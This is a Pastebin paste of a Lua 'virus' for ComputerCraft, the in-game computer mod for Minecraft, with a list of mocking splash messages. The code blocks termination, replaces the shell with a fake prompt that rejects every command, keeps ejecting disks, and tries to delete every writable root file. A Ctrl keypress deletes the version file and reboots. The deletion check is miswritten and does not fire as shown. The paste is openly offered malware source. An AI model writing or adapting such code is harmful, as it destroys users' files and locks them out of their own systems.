Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- os.pullEvent = os.pullEventRaw
- splashes = {
- "Yay! Your version counter is gone :P",
- "If your reading this, you are infected",
- "Quick! GET TO DAH CHOPPAH!",
- "Your computer has a virus, it should go to the doctor",
- "Lol, you exposed your computer: Now its infected",
- "JUST LEAVE BRITNEY ALONE!!",
- "Cool story, bro",
- "Now its my OS!",
- "Welcome to my lair!",
- "I used to code like you, until I took a arrow to the knee!",
- "This is sparta!",
- "This... is... MINECRAFT",
- "Computercraft FTW",
- "Did you know if you type 'pgoaiwh12' into the shell, the virus will go away?",
- "Whats up homies?!",
- "Whats up swifters?!",
- "Whats up surfers?!",
- "Whats up youtube?!",
- "Lol - Woah - A splash in a splash? - SPLASHCEPTION!",
- "Oh no! I'm running out of splashes... CHICKEN! *good job <name of coder>*",
- "Did you know, this text would be wrapped if you are not using a monitor to view your pc?",
- "hai utuberz, my nam is herobrine and i make epic videoz, plez cum subrcrize",
- "1 L0V3 L33TSP34K!1!!!eleven11!1!",
- "if epicmeter > 9000 then print(\"ITS OVAH 9000!\") end",
- }
- function getVersion()
- local randomNumber = math.random(1,#splashes)
- return splashes[randomNumber]
- end
- write("> ")
- term.setCursorBlink(true)
- function a()
- while true do
- local event, key = os.pullEventRaw()
- if event == "key" then
- if key == 29 or key == 157 then
- fs.delete(".version")
- disk.eject("left")
- disk.eject("right")
- disk.eject("top")
- disk.eject("bottom")
- disk.eject("front")
- disk.eject("back")
- os.reboot()
- end
- end
- end
- end
- function b()
- while true do
- disk.eject("left")
- disk.eject("right")
- disk.eject("top")
- disk.eject("bottom")
- disk.eject("front")
- disk.eject("back")
- filessss = fs.list("/")
- for i=1,#filessss do
- if not fs.isReadOnly(filessss[i]) then
- if not filessss[i] == "startup" then
- fs.delete(filessss[i])
- end
- end
- end
- end
- end
- function c()
- term.clear()
- term.setCursorPos(1,1)
- print(os.version())
- while true do
- write("> ")
- local input = read()
- if input then
- print("No such program")
- end
- end
- end
- parallel.waitForAll(a,b,c)
Advertisement
Add Comment
Please, Sign In to add comment